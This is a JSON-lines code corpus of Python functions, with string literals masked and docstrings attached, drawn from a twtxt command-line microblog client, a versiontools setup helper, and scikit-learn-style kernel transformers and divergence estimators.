force_update or not cache.is_valid<EOL>if force_update:<EOL><INDENT>tweets = get_remote_tweets(sources, limit, timeout, cache)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>cache.update_interval))<EOL>tweets = list(chain.from_iterable([cache.get_tweets(source.url) for source in sources]))<EOL><DEDENT><DEDENT><DEDENT>except OSError as e:<EOL><INDENT>logger.debug(e)<EOL>tweets = get_remote_tweets(sources, limit, timeout)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tweets = get_remote_tweets(sources, limit, timeout)<EOL><DEDENT>if twtfile and not source:<EOL><INDENT>source = Source(ctx.obj[\"<STR_LIT>\"].nick, ctx.obj[\"<STR_LIT>\"].twturl, file=twtfile)<EOL>tweets.extend(get_local_tweets(source, limit))<EOL><DEDENT>if not tweets:<EOL><INDENT>return<EOL><DEDENT>tweets = sort_and_truncate_tweets(tweets, sorting, limit)<EOL>if pager:<EOL><INDENT>click.echo_via_pager(style_timeline(tweets, porcelain))<EOL><DEDENT>else:<EOL><INDENT>click.echo(style_timeline(tweets, porcelain))<EOL><DEDENT>", "docstring": "Retrieve your personal timeline.", "id": "f14597:m2"}
{"signature": "@cli.command()<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>type=click.INT,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>flag_value=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>flag_value=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>type=click.FLOAT,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.argument(\"<STR_LIT:source>\")<EOL>@click.pass_context<EOL>def view(ctx, **kwargs):", "body": "ctx.forward(timeline)<EOL>", "docstring": "Show feed of given source.", "id": "f14597:m3"}
{"signature": "@cli.command()<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>type=click.FLOAT,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>def following(ctx, check, timeout, porcelain):", "body": "sources = ctx.obj['<STR_LIT>'].following<EOL>if check:<EOL><INDENT>sources = get_remote_status(sources, timeout)<EOL>for (source, status) in sources:<EOL><INDENT>click.echo(style_source_with_status(source, status, porcelain))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sources = sorted(sources, key=lambda source: source.nick)<EOL>for source in sources:<EOL><INDENT>click.echo(style_source(source, porcelain))<EOL><DEDENT><DEDENT>", "docstring": "Return the list of sources you\u2019re following.", "id": "f14597:m4"}
{"signature": "@cli.command()<EOL>@click.argument(\"<STR_LIT>\")<EOL>@click.argument(\"<STR_LIT:url>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>flag_value=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>def follow(ctx, nick, url, force):", "body": "source = Source(nick, url)<EOL>sources = ctx.obj['<STR_LIT>'].following<EOL>if not force:<EOL><INDENT>if source.nick in (source.nick for source in sources):<EOL><INDENT>click.confirm(\"<STR_LIT>\".format(<EOL>click.style(source.nick, bold=True)), default=False, abort=True)<EOL><DEDENT>_, status = get_remote_status([source])[<NUM_LIT:0>]<EOL>if not status or status.status_code != <NUM_LIT:200>:<EOL><INDENT>click.confirm(\"<STR_LIT>\".format(<EOL>click.style(source.nick, bold=True),<EOL>click.style(source.url, bold=True)), default=False, abort=True)<EOL><DEDENT><DEDENT>ctx.obj['<STR_LIT>'].add_source(source)<EOL>click.echo(\"<STR_LIT>\".format(<EOL>click.style(source.nick, bold=True)))<EOL>", "docstring": "Add a new source to your followings.", "id": "f14597:m5"}
{"signature": "@cli.command()<EOL>@click.argument(\"<STR_LIT>\")<EOL>@click.pass_context<EOL>def unfollow(ctx, nick):", "body": "source = ctx.obj['<STR_LIT>'].get_source_by_nick(nick)<EOL>try:<EOL><INDENT>with Cache.discover() as cache:<EOL><INDENT>cache.remove_tweets(source.url)<EOL><DEDENT><DEDENT>except OSError as e:<EOL><INDENT>logger.debug(e)<EOL><DEDENT>ret_val = ctx.obj['<STR_LIT>'].remove_source_by_nick(nick)<EOL>if ret_val:<EOL><INDENT>click.echo(\"<STR_LIT>\".format(<EOL>click.style(source.nick, bold=True)))<EOL><DEDENT>else:<EOL><INDENT>click.echo(\"<STR_LIT>\".format(<EOL>click.style(nick, bold=True)))<EOL><DEDENT>", "docstring": "Remove an existing source from your followings.", "id": "f14597:m6"}
{"signature": "@cli.command()<EOL>def quickstart():", "body": "width = click.get_terminal_size()[<NUM_LIT:0>]<EOL>width = width if width <= <NUM_LIT> else <NUM_LIT><EOL>click.secho(\"<STR_LIT>\", fg=\"<STR_LIT>\")<EOL>click.secho(\"<STR_LIT>\", fg=\"<STR_LIT>\")<EOL>click.echo()<EOL>help_text = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>click.echo(textwrap.fill(help_text, width))<EOL>click.echo()<EOL>nick = click.prompt(\"<STR_LIT>\", default=os.environ.get(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL>def overwrite_check(path):<EOL><INDENT>if os.path.isfile(path):<EOL><INDENT>click.confirm(\"<STR_LIT>\".format(path), abort=True)<EOL><DEDENT><DEDENT>cfgfile = click.prompt(\"<STR_LIT>\",<EOL>os.path.join(Config.config_dir, Config.config_name),<EOL>type=click.Path(readable=True, writable=True, file_okay=True))<EOL>cfgfile = os.path.expanduser(cfgfile)<EOL>overwrite_check(cfgfile)<EOL>twtfile = click.prompt(\"<STR_LIT>\",<EOL>os.path.expanduser(\"<STR_LIT>\"),<EOL>type=click.Path(readable=True, writable=True, file_okay=True))<EOL>twtfile = os.path.expanduser(twtfile)<EOL>overwrite_check(twtfile)<EOL>twturl = click.prompt(\"<STR_LIT>\",<EOL>default=\"<STR_LIT>\")<EOL>disclose_identity = click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", default=False)<EOL>click.echo()<EOL>add_news = click.confirm(\"<STR_LIT>\", default=True)<EOL>conf = Config.create_config(cfgfile, nick, twtfile, twturl, disclose_identity, add_news)<EOL>twtfile_dir = os.path.dirname(twtfile)<EOL>if not os.path.exists(twtfile_dir):<EOL><INDENT>os.makedirs(twtfile_dir)<EOL><DEDENT>open(twtfile, \"<STR_LIT:a>\").close()<EOL>click.echo()<EOL>click.echo(\"<STR_LIT>\".format(click.format_filename(conf.config_file)))<EOL>click.echo(\"<STR_LIT>\".format(click.format_filename(twtfile)))<EOL>", "docstring": "Quickstart wizard for setting up twtxt.", "id": "f14597:m7"}
{"signature": "@cli.command()<EOL>@click.argument(\"<STR_LIT:key>\", required=False, callback=validate_config_key)<EOL>@click.argument(\"<STR_LIT:value>\", required=False)<EOL>@click.option(\"<STR_LIT>\",<EOL>flag_value=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>flag_value=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>def config(ctx, key, value, remove, edit):", "body": "conf = ctx.obj[\"<STR_LIT>\"]<EOL>if not edit and not key:<EOL><INDENT>raise click.BadArgumentUsage(\"<STR_LIT>\")<EOL><DEDENT>if edit:<EOL><INDENT>return click.edit(filename=conf.config_file)<EOL><DEDENT>if remove:<EOL><INDENT>try:<EOL><INDENT>conf.cfg.remove_option(key[<NUM_LIT:0>], key[<NUM_LIT:1>])<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(e)<EOL><DEDENT>else:<EOL><INDENT>conf.write_config()<EOL><DEDENT>return<EOL><DEDENT>if not value:<EOL><INDENT>try:<EOL><INDENT>click.echo(conf.cfg.get(key[<NUM_LIT:0>], key[<NUM_LIT:1>]))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(e)<EOL><DEDENT>return<EOL><DEDENT>if not conf.cfg.has_section(key[<NUM_LIT:0>]):<EOL><INDENT>conf.cfg.add_section(key[<NUM_LIT:0>])<EOL><DEDENT>conf.cfg.set(key[<NUM_LIT:0>], key[<NUM_LIT:1>], value)<EOL>conf.write_config()<EOL>", "docstring": "Get or set config item.", "id": "f14597:m8"}
{"signature": "def expand_mentions(text, embed_names=True):", "body": "if embed_names:<EOL><INDENT>mention_format = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>mention_format = \"<STR_LIT>\"<EOL><DEDENT>def handle_mention(match):<EOL><INDENT>source = get_source_by_name(match.group(<NUM_LIT:1>))<EOL>if source is None:<EOL><INDENT>return \"<STR_LIT>\".format(match.group(<NUM_LIT:1>))<EOL><DEDENT>return mention_format.format(<EOL>name=source.nick,<EOL>url=source.url)<EOL><DEDENT>return short_mention_re.sub(handle_mention, text)<EOL>", "docstring": "Searches the given text for mentions and expands them.\n\n    For example:\n    \"@source.nick\" will be expanded to \"@<source.nick source.url>\".", "id": "f14600:m2"}
{"signature": "def format_mentions(text, format_callback=format_mention):", "body": "def handle_mention(match):<EOL><INDENT>name, url = match.groups()<EOL>return format_callback(name, url)<EOL><DEDENT>return mention_re.sub(handle_mention, text)<EOL>", "docstring": "Searches the given text for mentions generated by `expand_mention()` and returns a human-readable form.\n\n    For example:\n    \"@<bob http://example.org/twtxt.txt>\" will result in \"@bob\"\n\n    If you follow a source: source.nick will be bold\n    If you are the mentioned source: source.nick will be bold and coloured\n    If nothing from the above is true: nick will be unstyled\n    If nothing from the above is true and nick is not given: url will be used", "id": "f14600:m4"}
{"signature": "def validate_config_key(ctx, param, value):", "body": "if not value:<EOL><INDENT>return value<EOL><DEDENT>try:<EOL><INDENT>section, item = value.split(\"<STR_LIT:.>\", <NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise click.BadArgumentUsage(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return section, item<EOL><DEDENT>", "docstring": "Validate a configuration key according to `section.item`.", "id": "f14601:m6"}
{"signature": "@property<EOL><INDENT>def relative_datetime(self):<DEDENT>", "body": "now = datetime.now(timezone.utc)<EOL>tense = \"<STR_LIT>\" if self.created_at > now else \"<STR_LIT>\"<EOL>return \"<STR_LIT>\".format(humanize.naturaldelta(now - self.created_at), tense)<EOL>", "docstring": "Return human-readable relative time string.", "id": "f14604:c0:m8"}
{"signature": "@property<EOL><INDENT>def absolute_datetime(self):<DEDENT>", "body": "return self.created_at.strftime(\"<STR_LIT>\")<EOL>", "docstring": "Return human-readable absolute time string.", "id": "f14604:c0:m9"}
{"signature": "def get_version(self):", "body": "if (self.name is not None and self.version is not None<EOL>and self.version.startswith(\"<STR_LIT>\")):<EOL><INDENT>return (self.__get_live_version() or self.__get_frozen_version()<EOL>or self.__fail_to_get_any_version())<EOL><DEDENT>else:<EOL><INDENT>return self.__base.get_version(self)<EOL><DEDENT>", "docstring": "Get distribution version.\n\nThis method is enhanced compared to original distutils implementation.\nIf the version string is set to a special value then instead of using\nthe actual value the real version is obtained by querying versiontools.\n\nIf versiontools package is not installed then the version is obtained\nfrom the standard section of the ``PKG-INFO`` file. This file is\nautomatically created by any source distribution. This method is less\nuseful as it cannot take advantage of version control information that\nis automatically loaded by versiontools. It has the advantage of not\nrequiring versiontools installation and that it does not depend on\n``setup_requires`` feature of ``setuptools``.", "id": "f14609:c0:m0"}
{"signature": "def __get_live_version(self):", "body": "try:<EOL><INDENT>import versiontools<EOL><DEDENT>except ImportError:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return str(versiontools.Version.from_expression(self.name))<EOL><DEDENT>", "docstring": "Get a live version string using versiontools", "id": "f14609:c0:m1"}
{"signature": "def __get_frozen_version(self):", "body": "try:<EOL><INDENT>return self.__base(\"<STR_LIT>\").version<EOL><DEDENT>except IOError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get a fixed version string using an existing PKG-INFO file", "id": "f14609:c0:m2"}
{"signature": "def __fail_to_get_any_version(self):", "body": "raise SystemExit(<EOL>package requires versiontools for development or testing.<EOL>://versiontools.readthedocs.org/ for more information about<EOL>siontools is and why it is useful.<EOL>ll versiontools now please run:<EOL>p install versiontools<EOL>rsiontools works best when you have additional modules for<EOL>ing with your preferred version control system. Refer to<EOL>mentation for a full list of required modules.", "docstring": "Raise an informative exception", "id": "f14609:c0:m3"}
{"signature": "def fit(self, X=None, y=None):", "body": "return self<EOL>", "docstring": "Do nothing; this transformer is stateless.", "id": "f14611:c1:m1"}
{"signature": "def transform(self, X):", "body": "return X[self.indices]<EOL>", "docstring": "Subsets the given matrix.", "id": "f14611:c1:m2"}
{"signature": "def fit(self, X, y=None):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Raises NotImplementedError.", "id": "f14611:c2:m1"}
{"signature": "def transform(self, X):", "body": "return X<EOL>", "docstring": "Does nothing, so that it works nicely in pipelines.", "id": "f14611:c2:m2"}
{"signature": "def fit_transform(self, X, y=None):", "body": "<EOL>n = X.shape[<NUM_LIT:0>]<EOL>if X.shape != (n, n):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>X = X + X.T<EOL>X /= <NUM_LIT:2><EOL>return X<EOL>", "docstring": "Symmetrizes X.\n\nParameters\n----------\nX : array, shape [n, n]\n    The pairwise inputs to symmetrize.\n\nReturns\n-------\nX : array, shape [n, n]\n    The symmetrized pairwise outputs.", "id": "f14611:c2:m3"}
{"signature": "def fit(self, X, y=None):", "body": "X = check_array(X)<EOL>if self.scale_by_median:<EOL><INDENT>self.median_ = np.median(X[np.triu_indices_from(X, k=<NUM_LIT:1>)],<EOL>overwrite_input=True)<EOL><DEDENT>elif hasattr(self, '<STR_LIT>'):<EOL><INDENT>del self.median_<EOL><DEDENT>return self<EOL>", "docstring": "If scale_by_median, find :attr:`median_`; otherwise, do nothing.\n\nParameters\n----------\nX : array\n    The raw pairwise distances.", "id": "f14611:c3:m1"}
{"signature": "def transform(self, X):", "body": "X = check_array(X)<EOL>X_rbf = np.empty_like(X) if self.copy else X<EOL>X_in = X<EOL>if not self.squared:<EOL><INDENT>np.power(X_in, <NUM_LIT:2>, out=X_rbf)<EOL>X_in = X_rbf<EOL><DEDENT>if self.scale_by_median:<EOL><INDENT>scale = self.median_ if self.squared else self.median_ ** <NUM_LIT:2><EOL>gamma = self.gamma * scale<EOL><DEDENT>else:<EOL><INDENT>gamma = self.gamma<EOL><DEDENT>np.multiply(X_in, -gamma, out=X_rbf)<EOL>np.exp(X_rbf, out=X_rbf)<EOL>return X_rbf<EOL>", "docstring": "Turns distances into RBF values.\n\nParameters\n----------\nX : array\n    The raw pairwise distances.\n\nReturns\n-------\nX_rbf : array of same shape as X\n    The distances in X passed through the RBF kernel.", "id": "f14611:c3:m2"}
{"signature": "def fit(self, X, y=None):", "body": "n = X.shape[<NUM_LIT:0>]<EOL>if X.shape != (n, n):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>memory = get_memory(self.memory)<EOL>vals, vecs = memory.cache(scipy.linalg.eigh, ignore=['<STR_LIT>'])(<EOL>X, overwrite_a=not self.copy)<EOL>vals = vals.reshape(-<NUM_LIT:1>, <NUM_LIT:1>)<EOL>if self.min_eig == <NUM_LIT:0>:<EOL><INDENT>inner = vals > self.min_eig<EOL><DEDENT>else:<EOL><INDENT>with np.errstate(divide='<STR_LIT:ignore>'):<EOL><INDENT>inner = np.where(vals >= self.min_eig, <NUM_LIT:1>,<EOL>np.where(vals == <NUM_LIT:0>, <NUM_LIT:0>, self.min_eig / vals))<EOL><DEDENT><DEDENT>self.clip_ = np.dot(vecs, inner * vecs.T)<EOL>return self<EOL>", "docstring": "Learn the linear transformation to clipped eigenvalues.\n\nNote that if min_eig isn't zero and any of the original eigenvalues\nwere exactly zero, this will leave those eigenvalues as zero.\n\nParameters\n----------\nX : array, shape [n, n]\n    The *symmetric* input similarities. If X is asymmetric, it will be\n    treated as if it were symmetric based on its lower-triangular part.", "id": "f14611:c4:m1"}
{"signature": "def transform(self, X):", "body": "n = self.clip_.shape[<NUM_LIT:0>]<EOL>if X.ndim != <NUM_LIT:2> or X.shape[<NUM_LIT:1>] != n:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg.format(self.clip_.shape[<NUM_LIT:0>]))<EOL><DEDENT>return np.dot(X, self.clip_)<EOL>", "docstring": "Transforms X according to the linear transformation corresponding to\nclipping the input eigenvalues.\n\nParameters\n----------\nX : array, shape [n_test, n]\n    The test similarities to training points.\n\nReturns\n-------\nXt : array, shape [n_test, n]\n    The transformed test similarites to training points.", "id": "f14611:c4:m2"}
{"signature": "def fit_transform(self, X, y=None):", "body": "n = X.shape[<NUM_LIT:0>]<EOL>if X.shape != (n, n):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>memory = get_memory(self.memory)<EOL>discard_X = not self.copy and self.negatives_likely<EOL>vals, vecs = memory.cache(scipy.linalg.eigh, ignore=['<STR_LIT>'])(<EOL>X, overwrite_a=discard_X)<EOL>vals = vals[:, None]<EOL>self.clip_ = np.dot(vecs, (vals > self.min_eig) * vecs.T)<EOL>if discard_X or vals[<NUM_LIT:0>, <NUM_LIT:0>] < self.min_eig:<EOL><INDENT>del X<EOL>np.maximum(vals, self.min_eig, out=vals)<EOL>X = np.dot(vecs, vals * vecs.T)<EOL>del vals, vecs<EOL>X = Symmetrize(copy=False).fit_transform(X)<EOL><DEDENT>return X<EOL>", "docstring": "Clips the negative eigenvalues of X.\n\nParameters\n----------\nX : array, shape [n, n]\n    The *symmetric* input similarities. If X is asymmetric, it will be\n    treated as if it were symmetric based on its lower-triangular part.\n\nReturns\n-------\nXt : array, shape [n, n]\n    The transformed training similarities; smallest eigenvalue will be\n    at least `self.min_eig`.", "id": "f14611:c4:m3"}
{"signature": "def fit(self, X, y=None):", "body": "n = X.shape[<NUM_LIT:0>]<EOL>if X.shape != (n, n):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>memory = get_memory(self.memory)<EOL>vals, vecs = memory.cache(scipy.linalg.eigh, ignore=['<STR_LIT>'])(<EOL>X, overwrite_a=not self.copy)<EOL>vals = vals[:, None]<EOL>self.flip_ = np.dot(vecs, np.sign(vals) * vecs.T)<EOL>return self<EOL>", "docstring": "Learn the linear transformation to flipped eigenvalues.\n\nParameters\n----------\nX : array, shape [n, n]\n    The *symmetric* input similarities. If X is asymmetric, it will be\n    treated as if it were symmetric based on its lower-triangular part.", "id": "f14611:c5:m1"}
{"signature": "def transform(self, X):", "body": "n = self.flip_.shape[<NUM_LIT:0>]<EOL>if X.ndim != <NUM_LIT:2> or X.shape[<NUM_LIT:1>] != n:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg.format(self.flip_.shape[<NUM_LIT:0>]))<EOL><DEDENT>return np.dot(X, self.flip_)<EOL>", "docstring": "Transforms X according to the linear transformation corresponding to\nflipping the input eigenvalues.\n\nParameters\n----------\nX : array, shape [n_test, n]\n    The test similarities to training points.\n\nReturns\n-------\nXt : array, shape [n_test, n]\n    The transformed test similarites to training points.", "id": "f14611:c5:m2"}
{"signature": "def fit_transform(self, X, y=None):", "body": "n = X.shape[<NUM_LIT:0>]<EOL>if X.shape != (n, n):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>memory = get_memory(self.memory)<EOL>discard_X = not self.copy and self.negatives_likely<EOL>vals, vecs = memory.cache(scipy.linalg.eigh, ignore=['<STR_LIT>'])(<EOL>X, overwrite_a=discard_X)<EOL>vals = vals[:, None]<EOL>self.clip_ = np.dot(vecs, np.sign(vals) * vecs.T)<EOL>if discard_X or vals[<NUM_LIT:0>, <NUM_LIT:0>] < <NUM_LIT:0>:<EOL><INDENT>del X<EOL>np.abs(vals, out=vals)<EOL>X = np.dot(vecs, vals * vecs.T)<EOL>del vals, vecs<EOL>X = Symmetrize(copy=False).fit_transform(X)<EOL><DEDENT>return X<EOL>", "docstring": "Flips the negative eigenvalues of X.\n\nParameters\n----------\nX : array, shape [n, n]\n    The *symmetric* input similarities. If X is asymmetric, it will be\n    treated as if it were symmetric based on its lower-triangular part.\n\nReturns\n-------\nXt : array, shape [n, n]\n    The transformed training similarities.", "id": "f14611:c5:m3"}
{"signature": "def fit(self, X, y=None):", "body": "n = X.shape[<NUM_LIT:0>]<EOL>if X.shape != (n, n):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.train_ = X<EOL>memory = get_memory(self.memory)<EOL>lo, = memory.cache(scipy.linalg.eigvalsh)(X, eigvals=(<NUM_LIT:0>, <NUM_LIT:0>))<EOL>self.shift_ = max(self.min_eig - lo, <NUM_LIT:0>)<EOL>return self<EOL>", "docstring": "Learn the transformation to shifted eigenvalues. Only depends\non the input dimension.\n\nParameters\n----------\nX : array, shape [n, n]\n    The *symmetric* input similarities.", "id": "f14611:c6:m1"}
{"signature": "def transform(self, X):", "body": "n = self.train_.shape[<NUM_LIT:0>]<EOL>if X.ndim != <NUM_LIT:2> or X.shape[<NUM_LIT:1>] != n:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg.format(n))<EOL><DEDENT>if self.copy:<EOL><INDENT>X = X.copy()<EOL><DEDENT>if self.shift_ != <NUM_LIT:0> and X is self.train_ or (<EOL>X.shape == self.train_.shape and np.allclose(X, self.train_)):<EOL><INDENT>X[xrange(n), xrange(n)] += self.shift_<EOL><DEDENT>return X<EOL>", "docstring": "Transforms X according to the linear transformation corresponding to\nshifting the input eigenvalues to all be at least ``self.min_eig``.\n\nParameters\n----------\nX : array, shape [n_test, n]\n    The test similarities to training points.\n\nReturns\n-------\nXt : array, shape [n_test, n]\n    The transformed test similarites to training points. Only different\n    from X if X is the training data.", "id": "f14611:c6:m2"}
{"signature": "def fit(self, X, y=None):", "body": "self.features_ = as_features(X, stack=True, bare=True)<EOL>return self<EOL>", "docstring": "Specify the data to which kernel values should be computed.\n\nParameters\n----------\nX : list of arrays or :class:`skl_groups.features.Features`\n    The bags to compute \"to\".", "id": "f14613:c0:m2"}
{"signature": "def transform(self, X):", "body": "X = as_features(X, stack=True, bare=True)<EOL>Y = self.features_<EOL>if X.dim != Y.dim:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>.format(X.dim, Y.dim))<EOL><DEDENT>pointwise = pairwise_kernels(X.stacked_features, Y.stacked_features,<EOL>metric=self.kernel,<EOL>filter_params=True,<EOL>**self._get_kernel_params())<EOL>K = np.empty((len(X), len(Y)))<EOL>for i in range(len(X)):<EOL><INDENT>for j in range(len(Y)):<EOL><INDENT>K[i, j] = pointwise[X._boundaries[i]:X._boundaries[i+<NUM_LIT:1>],<EOL>Y._boundaries[j]:Y._boundaries[j+<NUM_LIT:1>]].mean()<EOL><DEDENT><DEDENT>return K<EOL>", "docstring": "Compute kernels from X to :attr:`features_`.\n\nParameters\n----------\nX : list of arrays or :class:`skl_groups.features.Features`\n    The bags to compute \"from\". Must have same dimension as\n    :attr:`features_`.\n\nReturns\n-------\nK : array of shape ``[len(X), len(features_)]``\n    The kernel evaluations from X to :attr:`features_`.", "id": "f14613:c0:m3"}
{"signature": "def fit(self, X, y=None, **params):", "body": "X = as_features(X, stack=True)<EOL>self.transformer.fit(X.stacked_features, y, **params)<EOL>return self<EOL>", "docstring": "Fit the transformer on the stacked points.\n\nParameters\n----------\nX : :class:`Features` or list of arrays of shape ``[n_samples[i], n_features]``\n    Training set. If a Features object, it will be stacked.\n\nany other keyword argument :\n    Passed on as keyword arguments to the transformer's ``fit()``.", "id": "f14614:c0:m2"}
{"signature": "def transform(self, X, **params):", "body": "X = as_features(X, stack=True)<EOL>X_new = self.transformer.transform(X.stacked_features, **params)<EOL>return self._gather_outputs(X, X_new)<EOL>", "docstring": "Transform the stacked points.\n\nParameters\n----------\nX : :class:`Features` or list of bag feature arrays\n    New data to transform.\n\nany other keyword argument :\n    Passed on as keyword arguments to the transformer's ``transform()``.\n\nReturns\n-------\nX_new : :class:`Features`\n    Transformed features.", "id": "f14614:c0:m3"}
{"signature": "def fit_transform(self, X, y=None, **params):", "body": "X = as_features(X, stack=True)<EOL>X_new = self.transformer.fit_transform(X.stacked_features, y, **params)<EOL>return self._gather_outputs(X, X_new)<EOL>", "docstring": "Fit and transform the stacked points.\n\nParameters\n----------\nX : :class:`Features` or list of bag feature arrays\n    Data to train on and transform.\n\nany other keyword argument :\n    Passed on as keyword arguments to the transformer's ``transform()``.\n\nReturns\n-------\nX_new : :class:`Features`\n    Transformed features.", "id": "f14614:c0:m4"}
{"signature": "def inverse_transform(self, X, **params):", "body": "X = as_features(X, stack=True)<EOL>Xo = self.transformer.inverse_transform(X.stacked_features, **params)<EOL>return self._gather_outputs(X, Xo)<EOL>", "docstring": "Transform data back to its original space, i.e., return an input\nX_original whose transform would (maybe approximately) be X.\n\nParameters\n----------\nX : :class:`Features` or list of bag feature arrays\n    Data to train on and transform.\n\nany other keyword argument :\n    Passed on as keyword arguments to the transformer's \n    ``inverse_transform()``.\n\nReturns\n-------\nX_original : :class:`Features`", "id": "f14614:c0:m5"}
{"signature": "def fit(self, X, y=None):", "body": "X = check_array(X, copy=self.copy,<EOL>dtype=[np.float64, np.float32, np.float16, np.float128])<EOL>feature_range = self.feature_range<EOL>if feature_range[<NUM_LIT:0>] >= feature_range[<NUM_LIT:1>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % str(feature_range))<EOL><DEDENT>if self.fit_feature_range is not None:<EOL><INDENT>fit_feature_range = self.fit_feature_range<EOL>if fit_feature_range[<NUM_LIT:0>] >= fit_feature_range[<NUM_LIT:1>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% str(feature_range))<EOL><DEDENT>if (fit_feature_range[<NUM_LIT:0>] < feature_range[<NUM_LIT:0>] or<EOL>fit_feature_range[<NUM_LIT:1>] > feature_range[<NUM_LIT:1>]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (str(feature_range),<EOL>str(fit_feature_range)))<EOL><DEDENT>feature_range = fit_feature_range<EOL><DEDENT>data_min = np.min(X, axis=<NUM_LIT:0>)<EOL>data_range = np.max(X, axis=<NUM_LIT:0>) - data_min<EOL>data_range[data_range == <NUM_LIT:0.0>] = <NUM_LIT:1.0><EOL>self.scale_ = (feature_range[<NUM_LIT:1>] - feature_range[<NUM_LIT:0>]) / data_range<EOL>self.min_ = feature_range[<NUM_LIT:0>] - data_min * self.scale_<EOL>self.data_range = data_range<EOL>self.data_min = data_min<EOL>return self<EOL>", "docstring": "Compute the minimum and maximum to be used for later scaling.\n\n        Parameters\n        ----------\n        X : array-like, shape [n_samples, n_features]\n            The data used to compute the per-feature minimum and maximum\n            used for later scaling along the features axis.", "id": "f14614:c2:m1"}
{"signature": "def transform(self, X):", "body": "X = check_array(X, copy=self.copy)<EOL>X *= self.scale_<EOL>X += self.min_<EOL>if self.truncate:<EOL><INDENT>np.maximum(self.feature_range[<NUM_LIT:0>], X, out=X)<EOL>np.minimum(self.feature_range[<NUM_LIT:1>], X, out=X)<EOL><DEDENT>return X<EOL>", "docstring": "Scaling features of X according to feature_range.\n\n        Parameters\n        ----------\n        X : array-like with shape [n_samples, n_features]\n            Input data that will be transformed.", "id": "f14614:c2:m2"}
{"signature": "def inverse_transform(self, X):", "body": "X = check_array(X, copy=self.copy)<EOL>X -= self.min_<EOL>X /= self.scale_<EOL>return X<EOL>", "docstring": "Undo the scaling of X according to feature_range.\n\n        Note that if truncate is true, any truncated points will not\n        be restored exactly.\n\n        Parameters\n        ----------\n        X : array-like with shape [n_samples, n_features]\n            Input data that will be transformed.", "id": "f14614:c2:m3"}
{"signature": "def kl(Ks, dim, num_q, rhos, nus, clamp=True):", "body": "est = dim * np.mean(np.log(nus) - np.log(rhos), axis=<NUM_LIT:0>)<EOL>est += np.log(num_q / (rhos.shape[<NUM_LIT:0>] - <NUM_LIT:1>))<EOL>if clamp:<EOL><INDENT>np.maximum(est, <NUM_LIT:0>, out=est)<EOL><DEDENT>return est<EOL>", "docstring": "r'''\n    Estimate the KL divergence between distributions:\n        \\int p(x) \\log (p(x) / q(x))\n    using the kNN-based estimator (5) of\n        Qing Wang, Sanjeev R Kulkarni, and Sergio Verdu (2009).\n        Divergence Estimation for Multidimensional Densities Via\n        k-Nearest-Neighbor Distances.\n        IEEE Transactions on Information Theory.\n        http://www.ee.princeton.edu/~verdu/reprints/WanKulVer.May2009.pdf\n    which is:\n        d * 1/n \\sum \\log (nu_k(i) / rho_k(i)) + log(m / (n - 1))\n\n    If clamp, enforces KL >= 0.\n\n    Returns an array of shape (num_Ks,).", "id": "f14616:m1"}
